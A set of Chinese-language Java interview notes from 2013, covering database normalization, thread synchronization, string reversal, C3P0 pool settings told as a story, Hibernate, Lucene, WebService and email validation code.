但是,我們又可以發現dept_name,dept_info這兩個屬性也可以由dept_id這個非主屬性決定,即dept_name依賴dept_id,而dept_id依賴emp_id,這樣就存在了傳遞依賴。而且我們可以看出傳遞依賴的一個明顯缺點就是數據冗余非常嚴重。 ?
?
那么如何解決傳遞依賴問題? ?
其實非常簡單,我們只需要將dept_name,dept_info這連個屬性刪除就可以了。 ?
即修改為Employee(emp_id,emp_name,emp_age,dept_id) ?
然后再創建一個部門表Dept(dept_id,dept_name,dept_info) ?
?
這樣如果要搜索某一個員工的部門信息dept_info,可以通過數據庫連接來實現,查詢語句如下: ?
SELECT e.emp_id,e.emp_name,d.dept_name ??
FROM Employee e,Dept d ??
WHERE e.dept_id=d.dept_id; ?
?
注意: ?
數據庫連接會帶來一部分的性能損失 ?
并不是數據庫范式越高效率越高 ?
有時會在數據冗余與范式之間做出權衡,在實際的數據庫開發過程中,往往會允許一部分的數據冗余來減少數據庫連接 ?
??
問題4、數據庫范式越高越好嗎? ?
?
使用范式的主要目的是為了減少數據冗余、消除插入異常、更新異常、刪除異常。 ?
另外從程序設計的角度范式把數據模式做到了高內聚低耦合讓數據組織的更加和諧。 ?
在數據庫設計中應盡量滿足最高范式,但是應用的范式等級越高,查詢時需要連接的表就越多,這樣會增加了查詢的復雜度,降低了數據庫查詢性能處理速度緩慢和處理邏輯復雜 ?
為了提高數據庫的運行效率,常常需要降低范式標準:適當增加冗余,達到以空間換時間的目的。 ?
??
??
問題5、設計4個線程,中兩個線程每次對j增加1,另外兩個線程對j每次減少1,請寫出代碼? ?
??
// 采用 Runnable 接口方式創建的多條線程可以共享實例屬性 ?
? ? private int data; ?
??
? ? /* ?
? ? ?* 這里add方法和sub方法加synchronized關鍵字 ?
? ? ?* 是因為當兩個線程同時操作同一個變量時 ?
? ? ?* 就算是簡單的j++操作時,在系統底層也是通過多條機器語句來實現 ?
? ? ?* 所以在執行j++過程也是要耗費時間, ?
? ? ?* 這時就有可能在執行j++的時候,另外一個線程H就會對j進行操作 ?
? ? ?* 因此另外一個線程H可能操作的可能就 不是最新的值了,因此要提供線程同步 ?
? ? ?*/ ?
? ? ??
? ? // 同步增加方法 ??
? ? private synchronized void add() { ?
? ? ? ? data++; ?
? ? ? ? System.out.println(Thread.currentThread().getName() + ":" + data); ?
? ? } ?
??
? ? // 同步減少方法 ??
? ? private synchronized void sub() { ?
? ? ? ? data--; ?
? ? ? ? System.out.println(Thread.currentThread().getName() + ":" + data); ?
? ? } ?
??
? ? // 增加線程 ?
? ? class Add implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? add(); ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
? ? ??
? ? // 減少線程 ?
? ? class Sub implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? sub(); ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? public static void main(String[] args) throws Exception { ?
? ? ? ? Test t = new Test(); ?
? ? ? ? ??
? ? ? ? //內部類的實例化 ?
? ? ? ? Add add = t.new Add(); ?
? ? ? ? Sub sub = t.new Sub(); ?
??
? ? ? ? //創建線程,每次創建2個線程,此處為2*n個線程,n=2 ?
? ? ? ? for (int i = 0; i < 2; i++) { ?
? ? ? ? ? ? Thread t1 = new Thread(add); ?
? ? ? ? ? ? t1.start(); ?
? ? ? ? ? ? Thread t2 = new Thread(sub); ?
? ? ? ? ? ? t2.start(); ?
? ? ? ? } ?
? ? } ?
??
問題6、寫一個方法,實現字符串的反轉,如:輸入abc,輸出cba? ?
??
方法1: ?
String data="abc"; ?
? ? ? ? char[] ch = data.toCharArray(); ?
? ? ? ? ??
? ? ? ? StringBuffer sb=new StringBuffer(); ?
? ? ? ? ??
? ? ? ? for (int i = ch.length-1; i >=0; i--) { ?
? ? ? ? ? ? sb.append(ch[i]); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(sb); ?
??
方法2: ?
String data="abc"; ?
? ? ? ? int length = data.length(); ?
? ? ? ? ??
? ? ? ? StringBuffer sb=new StringBuffer(length); ?
? ? ? ? ??
? ? ? ? for (int i = length-1; i >= 0; i--) { ?
? ? ? ? ? ? sb.append(data.charAt(i)); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(sb); ?
??
方法3: ?
String data="abc"; ?
? ? ? ? int length = data.length(); ?
? ? ? ? ??
? ? ? ? String str=""; ?
? ? ? ? ??
? ? ? ? for (int i = 0; i < length; i++) { ?
? ? ? ? ? ? str=data.substring(i,i+1)+str; ?
? ? ? ? ? ? ??
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(str); ?
??
方法4: ?
String data="abc"; ?
? ? ? ? ??
? ? ? ? StringBuffer sb=new StringBuffer(data); ?
? ? ? ? ??
? ? ? ? String str = sb.reverse().toString(); ?
? ? ? ? ??
? ? ? ? System.out.println(str); ?
??
方法5:遞歸 ?
public static void main(String[] args) { ?
? ? ? ? String data="abc"; ?
? ? ? ? ??
? ? ? ? String reverse = Test.reverse(data); ?
? ? ? ? ??
? ? ? ? System.out.println(reverse); ?
? ? } ?
? ? ??
? ? public static String reverse(String data){ ?
? ? ? ? if(data.length()==1){ ?
? ? ? ? ? ? return data; ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? String str = data.substring(data.length()-1, data.length()); ?
? ? ? ? ??
? ? ? ? str+=reverse(data.substring(0,data.length()-1)); ?
? ? ? ? ??
? ? ? ? return str; ?
? ? } ?
??
問題7、對于池技術的理解?-->以C3P0連接池為例 ?
??
----------------------------故事敘述開始 ?
講個故事,你就懂了。 ?
??
你出生在古代,并且開了個餐館。但你比較笨,一開始炒菜時,每炒一道菜都要 生火,炒菜,滅火, 炒第二道菜又要 生火,炒菜,滅火,第三道菜如此....。 ?
開了幾天飯館后,你覺得做菜很慢,跟不上客戶的速度,老被罵,冤枉啊!然后你就分析了,劈材生火最浪費時間,你一拍大腿:“我怎么就沒想到呢? 靠,我炒菜后不滅火不就快了嗎?” ?
掌握了“不滅火大法”真理的你,炒菜速度越發加快,贏得了新老食客的一致好評。美麗女顧客:“上菜真快呀,親!”。 ?
由于生意太好,好評率100%,顧客大大增加了,你的炒菜速度又跟不上了,你想啊想啊,怎么樣才能增加效率呢? 突然,正看著鍋里“鹵煮寒鴉兒”菜,冰雪聰慧的你突然一拍大腿,這些煮菜、燉菜太費時,而出鍋速度快的炒菜要在后面排隊。我應該同時使用2個鍋(與爐子)不斷火來做菜,不,3個鍋! ?
鍋臺的增加使你做菜效率翻了幾倍,食客和他們的小伙伴都驚呆了!然后,顧客自然更多了,面對熙熙攘攘等待上菜的食客,你的嘴角又露出一絲令人不易察覺的奸笑:“繼續增加鍋臺!”。 ?
可惜這村子小,鍋呢?很貴,你買不起,都是從炊具店租來的。隨著你同時啟用的鍋越來越多,終于,炊具店沒貨了。這時,你已經整整使用了20個鍋,有好幾個伙計在同時做菜。 ?
你仰天長嘯,“看來老夫最大只能使用同時20個鍋了,吉尼斯紀錄破不了了!已經到了我的maxPoolSize了!” ?
maxPoolSize:連接池中保留的最大連接數。默認為15 ?
伙計:“老板,你說什么鳥語?我怎么聽不懂啊?”你:“要不怎么我當,老板你當伙計呢?”伙計暗忖:“你妹的!” ----------------------------由于打字敘述太麻煩,以下全部使用對話來闡述劇情 ?
由于啟用了20個鍋臺,生意大好,到了晚上,伙計問道:“老板,明天我們上午開張時,一開始同時燒幾個鍋子呀?”你想了想:“5個把,燒少了客人多了來不及。”伙計:“得令!”你:“恩,就把initialPoolSize設成5就行了?”伙計:“..............”伙計:“奧,那一開始開5個鍋,之后呢?客人多了我們增加鍋是一個一個加嗎?”你:“笨死了,記好了,當鍋不夠用了的時候,一次加acquireIncrement個!”伙計:“....你說啥?”你:“額,3個,把acquireIncrement設為3.”伙計:“恩,3個,記住了,其他的聽不懂。” ?
initialPoolSize:初始化時創建的連接數,應在minPoolSize與maxPoolSize之間取值。默認為3 ?
acquireIncrement:當連接池中的連接用完時,C3P0一次性創建新連接的數目一天后伙計:“哦,老板,一開始開5個鍋,后來每次連開3個鍋,連續生火太嗆人,大家都受不了了,我們應該在每個鍋點火之間休息一小下。”你:“有理,就休息acquireRetryDelay毫秒把,額,10秒,懂了嗎?”伙計:“懂了,太好了,每次給我們10秒鐘來休息,您真是我們的好老板啊!” ?
acquireRetryDelay:兩次連接中間隔時間,單位毫秒,默認為1000一天后伙計:“對了,老板,今天小張伙計一天都在偷懶。”你:“怎么回事?”伙計:“小張今天拿到了一個壞鍋,怎么也點不著火,然后他就一直點,一直點,一天都沒干活,哼!我都累死啦!”你:“這個小張,真是個滑頭,好吧。我們從明天立一個規矩,鍋點不著火后,只允許重試acquireRetryAttempts次,就設置為10次把,如果超過10次,就要像我提出異常,我去聯系炊具店來修理,你們就無法偷懶了,哇卡卡卡卡卡!” ?
acquireRetryAttempts:定義在從數據庫獲取新連接失敗后重復嘗試獲取的次數,默認為30一天后伙計:“老板,我們人手不夠了,20個鍋,差不多需要7個人才能耍的過來,人少時候,利用不了全部的20個鍋。”你:“好辦,把numHelperThreads設為7,你們每個人就是一根線程,記住嘍!”伙計:“我們是什么?”你:“線程!”伙計:“........”伙計:“哦,我去干活了。”你:“你早就該去干活去了,哼!” ?
numHelperThreads:C3P0是異步操作的,緩慢的JDBC操作通過幫助進程完成。擴展這些操作可以有效的提升性能,通過多線程實現多個操作同時被執行。默認為3 ?
一天后伙計:“老板,不好了,小張伙計又偷懶了!”你:“我操,他又怎么了?”伙計:“由于20個鍋已滿,他拿不到第21個鍋,就在那里等著,也不去切菜、刷碗,太偷懶了,我都要累死了!”你:“懂了,把checkoutTimeout設為100000,只要他等待超過100秒,就要像我報異常,我來為他重新分配任務!”伙計:“太好啦!!” ?
checkoutTimeout:當連接池用完時客戶端調用getConnection()后等待獲取新連接的時間,超時后將拋出SQLException,如設為0則無限期等待。單位毫秒,默認為0一個月之后你:“伙計們,我們開店終于有1個月了,大家來算一下我們盈利的多少錢,大家分分紅,我這個人還是很開明的嘛,哈哈哈哈!”伙計:“報告老板,本店本月凈虧 2000 兩紋銀!”你:“怎么回事?我來看一下賬目!”你:“為什么木柴花錢這么多!!!!!”伙計:“因為每天開始時候是5個鍋,然后客人多了,每次開3個鍋,最后20個鍋全開。然后吃飯高峰過去后客人少了,我們的20個鍋都還燒著,其實很多時候并沒有菜需要炒。”你:“你們為什么不關鍋?????”伙計:“我們炒菜好了,不知道下面有沒有客人來,無法確定剛用完的鍋需不需要滅。”你:“這樣吧,憑你們的智商也解決不了了,從明天開始,你們炒菜的時候也要長點心,每idleConnectionTestPeriod秒鐘,也就是,額,100秒吧,每100秒檢查一下全部的20個鍋,如果發現了某個鍋已經空閑了maxIdleTime秒鐘沒有炒菜,就把他關了,額設為60秒吧! ?
idleConnectionTestPeriod:隔多少秒檢查所有連接池中的空閑連接,默認為0表示不檢查 ?
maxIdleTime:最大空閑時間,超過空閑時間的連接將被丟棄。為0或負數則永不丟棄。默認為0 ?
伙計:“老板英明,不過,如果一段時間沒人吃飯,所有鍋都關了,再來客人的時候,生火來不及啊,我們是不是應該保留最少幾個鍋一直不關呀?”你:“我靠,跟我說一席話勝,勝讀你十年書啊,你小子是智商見長啊!這樣吧,最后留3個鍋的火就行了,這就是minPoolSize。” ??
minPoolSize:連接池中保留的最小連接數你:“恩,說了那么多,你看看怎么樣更好的使用鍋呀?”伙計:“我們可以對鍋進行檢查測試,然后再使用。”你:“有理,何時檢查?”伙計:“把testConnectionOnCheckin設成true就可以在每次新開一個鍋的時候檢查了,如果把testConnectionOnCheckout設成true就可以在每次炒菜的時候檢查了。” ?
?
testConnectionOnCheckin:如果設為true那么在取得連接的同時將校驗連接的有效性。默認為false ?
?
testConnectionOnCheckout:因性能消耗大請只在需要的時候使用它。如果設為true那么在每個connection提交的時候都將校驗其有效性。建議使用idleConnectionTestPeriod或automaticTestTable等方法來提升連接測試的性能。默認為 false你:“我擦,原來你會英語啊!”伙計:“我,我,我,我說了什么了?我什么都不知道啊!”你:“小張、小王、小李,速來把這個伙計拖到后面,亂棍打死,他知道的太多了。”小張、小王、小李:“嘿嘿,我們等了好久了!”“啊啊啊啊”就在這個時候,你被經理一巴掌拍醒。經理:“別睡啦!天亮啦,起來干活啦!昨夜讓你通宵加班,你卻在電腦前睡覺,這樣吧,今晚你再通個宵!”你:“............” ?
----------------------------故事敘述結束 ?
??
2013年9月9日: ?
??
問題1、如何取小數點前兩位,并四舍五入,再進行顯示百分比? ?
??
小數點前兩位方法1: ?
BigDecimal bd = new BigDecimal(0.4567); ?
??
? ? ? ? // 保留兩位小數且向上進位的四舍五入,四舍五入后要重新賦值,不僅只setScale ?
? ? ? ? BigDecimal bds = bd.setScale(2, BigDecimal.ROUND_HALF_UP); ?
??
? ? ? ? System.out.println(bds); ?
??
小數點前兩位方法2: ?
DecimalFormat df = new DecimalFormat("#,##0.00"); ?
? ? ? ? ? ? ??
? ? ? ? df.setRoundingMode(RoundingMode.HALF_UP); ?
??
? ? ? ? String str = df.format(1234.4547); ?
? ? ? ? ??
? ? ? ? System.out.println(str); ?
??
百分比顯示: ?
DecimalFormat df=new DecimalFormat("0.00%"); ?
? ? ? ? df.setRoundingMode(RoundingMode.HALF_UP); ?
? ? ? ? ??
? ? ? ? String str = df.format(0.4567); ?
? ? ? ? ??
? ? ? ? System.out.println(str);
??
ProcessEngine工作流的流程引擎對象 ?
1、RepositoryService ? ?流程資源服務的接口。 ??
? ?作用: ? ?提供對流程定義的部署、查詢、刪除等操作。 ??
2、ExecutionService ? ? 流程執行服務的接口。 ??
? ?作用: ? ?提供啟動流程實例、“執行”推進,設置流程實例變量等操作。 ??
3、ManagementService ? 流程管理控制服務接口。 ??
? ?作用: ? ?提供異步工作相關的執行和查詢操作。 ??
4、TaskService ? ? ? ? ?人工任務服務接口。 ??
? ?作用: ? ?提供對任務(Task)的創建、提交、查詢、保存、刪除等操作。 ??
5、HistoryService ? ? ? 流程歷史服務的接口。 ??
? ?作用: ? ?提供對任務的管理操作,提供對流程歷史庫中歷史流程實例、歷史活動實例等記錄的查詢操作。還提供諸如某個流程定義中所有活動的平均持續時間、某個流程定義中某轉移的結果次數等數據分析服務。 ??
6、IdentityService ? ? ?身份認證服務的接口。 ??
? ?作用: ? ?提供對流程用戶、用戶組以及組成員關系的相關服務。 ??
??
問題2:Hibernate的核心接口有哪些? ?
?
Hibernate的核心接口一共有5個,分別為:Session、SessionFactory、Transaction、Query和Configuration。 ?
這5個核心接口在任何開發中都會用到。通過這些接口,不僅可以對持久化對象進行存取,還能夠進行事務控制。 ?
?
問題3:Hibernate的緩存有哪些? ?
?
Session是一級緩存,SessionFactry是二級緩存。 ?
SessionFactory是Hibernate的概念,對應一個數據存儲源(如MySql,SQLServer,Oracle) ?
看你項目中用的哪個數據庫,可以有多個,在XML文件中配置,由Configuration創建 ?
SessionFactory可以創建Session,Session用來控制事務以及增刪改查操作 ?
SessionFactory是線程安全的,多線程可以同時訪問它,創建一次就行 ?
Session是線程不安全的,代表對數據庫一次操作。一般每一次對數據庫的操作都要創建一個Session,用之后關閉 ?
?
1、內部緩存存在Hibernate中又叫一級緩存,屬于應用事務級緩存 ?
2、二級緩存: ?
a) 應用級緩存 ?
b) 分布式緩存,比如使用Memcached可作為Hibernate二級分布式緩存 ?
條件:數據不會被第三方修改、數據大小在可接受范圍、數據更新頻率低、同一數據被系統頻繁使用、非關鍵數據 ?
c) 第三方緩存的實現 ?
?
問題4:Hibernate中get和load有什么區別? ?
?
不存在對應記錄時表現不一樣 ?
load返回的是代理對象(javassist.jar生成二進制碼),等到真正用到對象的內容才會發出SQL語句 ?
get直接從數據庫加載,不會延遲 ?
get不支持懶加載 ,load支持 ?
get查詢數據庫不存在的記錄時返回null ,load就報異常了 ?
?
問題5:什么是Session? ?
?
Session 是客戶端與服務器之間的會話,用來保存用戶的信息。 ?
在編程里是會話的意思 ?
Session 對象存儲特定用戶會話所需的信息。這樣,當用戶在應用程序的 Web 頁之間跳轉時,存儲在 Session 對象中的變量將不會丟失,而是在整個用戶會話中一直存在下去 ?
當用戶請求來自應用程序的 Web 頁時,如果該用戶還沒有會話,則 Web 服務器將自動創建一個 Session 對象。當會話過期或被放棄后,服務器將終止該會話 ?
?
問題6:Session和Cookie區別? ?
??
Session是服務器端緩存,Cookie是客戶端緩存。 ?
Cookie機制采用的是在客戶端保持狀態的方案,而Session機制采用的是在服務器端保持狀態的方案 ?
?
2013年8月7日:天懋數碼、圖創科技 ?
??
問題1:書籍表,借書表,查詢借書表每一本書的最新借書時間 ?
??
書籍表 Book ? ?表結構:主鍵ID、書名Name ?
借書表 Lend ? ?表結構:主鍵ID、外鍵BookID、借書時間Time ?
要求精確到秒 ?
??
/* 查詢lend表,通過bookId分組,查出每組中時間最大的,時間最大的代表最新的*/ ?
SELECT max(l.time) ??
FROM lend as l ??
GROUP BY l.bookId; ?
??
/* 查詢book表和lend表 */ ?
SELECT b.name as "書名", l.time as "最新借出時間" ??
FROM book as b , lend as l ??
WHERE l.bookId = b.id ??
AND ??
l.time IN ??
( ?
SELECT max(l.time) ??
FROM lend as l ??
GROUP BY l.bookId ?
); ?
??
問題2:WebService相關 ?
??
概念: ?
Web Service 是一項新技術,能使得運行在不同機器上的不同應用無須借助附加的、專門的第三方軟件或硬件,就可相互交換數據或集成。依據Web Service 規范實施的應用之間,無論它們所使用的語言、平臺或內部協議是什么,都可以相互交換數據。 ?
通俗的講,Web Service 就是一個部署在Web 服務器上的一個應用程序,它向外界暴露出一個能夠通過Web 進行調用的API。 ?
這就是說,你能夠用編程的方法通過Web 來調用這個應用程序。我們把調用這個Web Service 的應用程序叫做客戶端,發布這個web 服務的機器稱為Web Service 服務器。 ?
??
優勢: ?
異構平臺的互通性 ?
更廣泛的軟件復用 ?
成本低、可讀性強、應用范圍廣 ?
迅捷的軟件發行方式 ?
??
WSDL:WebService服務描述語言 ?
獲取WEB的發布信息是通過wsimport來解析wsdl文件得到Java類來實現的。無論是獲取發布的服務,還是調用發布的服務,都需要參考wsdl文件 ?
??
CXF框架概念介紹 ?
Apache CXF 是一個開源的Services框架,CXF 幫助您來構建和開發 Services。 ?
這些 Services 可以支持多種協議,比如:SOAP1.1/1.2、POST/HTTP、RESTful、HTTP,CXF大大簡化了Service,可以天然地和 Spring 進行無縫集成。 ?
??
問題3:Lucene相關 ?
??
對索引庫的操作可以分為兩種:管理與查詢 ?
??
管理索引庫使用IndexWriter,從索引庫中查詢使用IndexSearcher。 ?
Lucene的數據結構為Document文檔與Field字段 ?
Document代表一條數據,Field代表數據中的一個屬性。 ?
一個Document中有多個Field,Field的值為String型,因為Lucene只處理文本 ?
我們只需要把在我們的程序中的對象轉成Document,就可以交給Lucene管理了,搜索的結果中的數據列表也是Document的集合 ?
??
中文分詞器之一:IKAnalyzer ?
格式器對象Formatter ?
索引庫數據查看器(lukeall-1.0.0.jar) ?
??
IndexSearcher:是用來在建立好的索引上進行搜索 ?
QueryParser:QueryParser 是查詢操作的解析類, 要告訴QueryParser對哪個字段進行查詢, 用什么樣的分詞器,進行分詞,最后返回的是一個Query對象, 交給IndexSearcher做查詢操作 ?
Term:是搜索的基本單元, Term對象有兩個String類型的域組成:字段的名稱和字段的值, 被分詞建立索引的Field就是Term ?
TopDocs: ?
int totalHits ?Expert: The total number of hits for the query. ?
ScoreDoc[] scoreDocs Expert: The top hits for the query ?
??
創建索引API分析 ?
Directory: 類代表一個Lucene索引的位置,FSDirectory:它表示一個存儲在文件系統中的索引的位置 ?
Analyzer類是一個抽象類, 它有多個實現,在一個文檔被入索引庫之前,首先需要對文檔內容進行分詞處理,針對不同的語言和應用需要選擇適合的 Analyzer。Analyzer 把分詞后的內容交給 IndexWriter 來建立索引 ?
IndexWriter:是創建索引和維護索引的中心組件, 這個類創建一個新的索引并且添加文檔到一個已有的索引中。IndexWriter只負責索引庫的更新(刪、更新、插入),不負責查詢 ?
Document:由多個字段(Field)組成,一個Field代表與這個文檔相關的元數據。如作者、標題、主題等等,分別做為文檔的字段索引和存儲。add(Fieldable field)添加一個字段(Field)到Document ?
??
Jar包至少有: ?
? ? lucene-core-3.0.1.jar(核心包) ?
? ? contrib\analyzers\common\lucene-analyzers-3.0.1.jar(分詞器) ?
? ? contrib\highlighter\lucene-highlighter-3.0.1.jar(高亮) ?
? ? contrib\memory\lucene-memory-3.0.1.jar(高亮) ?
??
全文檢索與數據查詢的區別 ??
相關度排序: 查出的結果沒有相關度排序,不知道我想要的結果在哪一頁。我們在使用百度搜索時,一般不需要翻頁,為什么?因為百度做了相關度排序:為每一條結果打一個分數,這條結果越符合搜索條件,得分就越高,叫做相關度得分,結果列表會按照這個分數由高到低排列,所以第1頁的結果就是我們最想要的結果 ?
查詢的方式: 全文檢索的速度大大快于SQL的like搜索的速度。這是因為查詢方式不同造成的,以查字典舉例:數據庫的like就是一頁一頁的翻,一行一行的找,而全文檢索是先查目錄,得到結果所在的頁碼,再直接翻到這一頁 ?
定位不一樣:一個更側重高效、安全的存儲、一個是側重準確、方便的搜索 ?
??
問題4:要求在不允許引入第三個變量的情況下交換 var a=1; ?var b=2; ?
??
方法一: ?
a=a+b; ? ?b=a-b; ? ?a=a-b; ?
輸出a,b可以發現兩值已經交換 ?
??
方法二: ?
a=a^b; ? ?b=a^b; ? ?a=a^b; ?
??
問題5:使用正則表達式驗證郵箱 ?
??
正則表達式(regular expression, 常常縮寫為RegExp) 是一種用特殊符號編寫的模式,描述一個或多個文本字符串。使用正則表達式匹配文本的模式,這樣腳本就可以輕松的識別和操作文本。 ?
其實,正則表達式是值得大家花時間學習的。正則表達式不僅在JavaScript 中有用,在其他許多地方也可以使用正則表達式,例如其他編程語言(比如Perl,Java,C#,Python 和PHP ),Apache 配置文件以及BBEdit 和TextMate 等文本編輯器。甚至Adobe Dreamweaver 和Microsoft Word( 在一定程度上) 使用正則表達式也可以實現更強大的搜索和替換。 ??
??
下面是一個驗證電子郵件的正則表達式 : ?
var re = /^\w+([\.-]?\w+)*@\w+([\.-]?\w+)*(\.\w{2,3})+$/ ; ??
??
下面我們開始剖析這個正則表達式: ?
re 是一個變量, 用來存儲右邊的正則表達式,在JavaScript中,聲明變量使用Var 關鍵字。 ?
正則表達式的閱讀順序是從左向右的 ?
正則表達式總是以( / ) 開頭和結尾,斜杠之間的所有內容都是正則表達式的組成部分 ?
脫字符( ^ ) 表示我們要使用這個表達式來檢查以特定字符串開頭的字符串。如果去掉脫字符,那么即使字符串開頭有一堆垃圾字符,電子郵件地址也可能被認為是有效的。 ?
表達式\w 表示任意單一字符,包括a~z 、A~Z 、0~9 或下劃線。電子郵件必須這些字符之一開頭 ?
加號+ 表示我們要尋找前面條目的一次或多次出現 ?
圓括號( ) 表示一個組,這意味著后面要引用圓括號中的所有內容,所以現在將它們放在一個組中 ?
方括號[ ] 用來表示可以出現其中的任意一個字符。在這個示例中,方括號內包含字符\.- 。我們希望允許用戶輸入點號或連字符,但是點號對于正則表達式有特殊的意義,所以需要在它前面加上反斜杠\, 在特殊字符前加反斜杠表示“對字符轉義”,經轉義后的字符表示其本身意義。因為有方括號,輸入字符串在這個位置可以有一個點號或一個連字符,但是兩種不能同時存在 ?
問號?表示前面的條目可以出現一次或不出現。所以電子郵件地址的第一部分中可以有一個點號或一個連字符,也可以沒有 ?
在?后面,再次使用\w+ ,表示點號或連字符后面必須有其他字符 ?
在()后面出現的* 號,表示前面的條目可以出現零次或多次。所以圓括號中的內容可以出現零次或多次 ?
@ 字符代表其本身,沒有任何其他意義,這個字符位于電子郵件地址和域名之間 ?
@ 字符后再次出現\w+ ,表示@ 后必須出現字符。在此之后,再次出現([\.-]?\w+)*, 表示電子郵件地址的后綴中允許出現點號或連字符 ?
然后,在一對圓括號中建立另一個組(\.\w{2,3}), 表示我們希望找到一個點號,后面跟一些字符。在這個示例中,花括號中的數字表示前面的條目可以出現2 到3 次。在這個組的后面是一個+ 號,表示前面的條目(這個組)必須出現一次或多次。這會匹配.com 或.edu 之類的,也與ox.ac.uk 匹配 ?
最后,正則表達式的末尾是一個美元符號$ ,表示匹配的字符串必須在這里結束。斜杠結束正則表達式 ?
??
問題6:不使用正則表達式驗證郵箱 ?
??
< script type="text/javascript"> ?
? ? document.getElementById('email').onblur = function() { ?
? ? ? ? var value = this.value; ?
? ? ? ? if (typeof value == 'undefined') { //未定義 ?
? ? ? ? ? ? alert('Email不能為空'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else if (value.trim() == '') { //空值 ?
? ? ? ? ? ? alert('Email不能為空'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else if (value.indexOf('@') == -1) { //不包含@ ?
? ? ? ? ? ? alert('Email必須包含@,如abc@qq.com'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else if (value.indexOf('.') == -1) { //不包含. ?
? ? ? ? ? ? alert('Email必須包含.,如abc@qq.com'); ?
? ? ? ? ? ? return false; ?
? ? ? ? } else { //包含@與. ?
? ? ? ? ? ? //以@或.開頭@qq.com 和 .@qq.com非法 ?
? ? ? ? ? ? if (value.indexOf('@') == 0 || value.indexOf('.') == 0) { ?
? ? ? ? ? ? ? ? alert('Email只能以字母開頭'); ?
? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? } else if (value.lastIndexOf('@') == value.length - 1 ?
? ? ? ? ? ? ? ? ? ? || value.lastIndexOf('.') == value.length - 1) { ?
? ? ? ? ? ? ? ? ? ? //以@或.結束 ?a@qq.com@ 和a@qq.com.非法 ?
? ? ? ? ? ? ? ? alert('Email只能以字母結束'); ?
? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? } else { //包含@與.且不以它們結束 ?
? ? ? ? ? ? ? ? var count_at = 0; ?
? ? ? ? ? ? ? ? //多個@ ?a@b@qq.com非法 ?
? ? ? ? ? ? ? ? if (value.indexOf('@') != value.lastIndexOf('@')) { ?
? ? ? ? ? ? ? ? ? ? alert('Email只能包含一個@,如abc@qq.com'); ?
? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? var beforeAt = value.substr(0, value.indexOf('@')); ?
? ? ? ? ? ? ? ? if (beforeAt.indexOf('.') != -1) { //a.b@qq.com 非法 ?
? ? ? ? ? ? ? ? ? ? alert('Email的@前必須全部為字母'); ?
? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? } ?
??
? ? ? ? ? ? //刪除@,.替換@,反正替換后按.分隔時a@.拼接,導致@.之間無法判定為空 ?
? ? ? ? ? ? ? ? value = value.replace('@', '.'); ?
? ? ? ? ? ? ? ? var splits = value.split('.'); //按.分隔 ?
? ? ? ? ? ? ? ? var a_z = 'abcdefghijklmnopqrstuvwxyz'; //僅字母 ?
? ? ? ? ? ? ? ? for ( var i in splits) { ??
//對點分隔后的字符進行單字切割并匹配a-z ?
? ? ? ? ? ? ? ? ? ? if (splits[i] == '') { ?
? ? ? ? ? ? ? ? ? ? ? ? alert('Email的@.或..不能連接'); ?
? ? ? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? var words = splits[i].split(""); //單字切割 ?
? ? ? ? ? ? ? ? ? ? for ( var w in words) { //對每個單字進行驗證 ?
? ? ? ? ? ? ? ? ? ? ? ? if (a_z.indexOf(words[w].toLowerCase()) == -1) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? alert('Email只能包含字母!'); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? return false; ?
? ? ? ? ? ? ? ? ? ? ? ? }}}}} ?
? ? ? ? return true; } ?
< /script> ?
??
2013年8月8日:圖創科技、進易通信技術 ?
??
問題1:使用A、B、C三個線程,有序的輸出ABCABCABC循環十次 ?
class A implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? try { ?
? ? ? ? ? ? ? ? ? ? synchronized (a) { ?
? ? ? ? ? ? ? ? ? ? ? ? synchronized (b) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.print("A"); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? b.notify(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? ? ? if (i < 9) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? a.wait(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } catch (Exception e) { ?
? ? ? ? ? ? ? ? ? ? e.printStackTrace(); ?
? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? class B implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? try { ?
? ? ? ? ? ? ? ? ? ? synchronized (b) { ?
? ? ? ? ? ? ? ? ? ? ? ? synchronized (c) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? System.out.print("B"); ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? c.notify(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? ? ? if (i < 9) { ?
? ? ? ? ? ? ? ? ? ? ? ? ? ? b.wait(); ?
? ? ? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? ? ? } ?
? ? ? ? ? ? ? ? } catch (Exception e) { ?
? ? ? ? ? ? ? ? ? ? e.printStackTrace(); ?
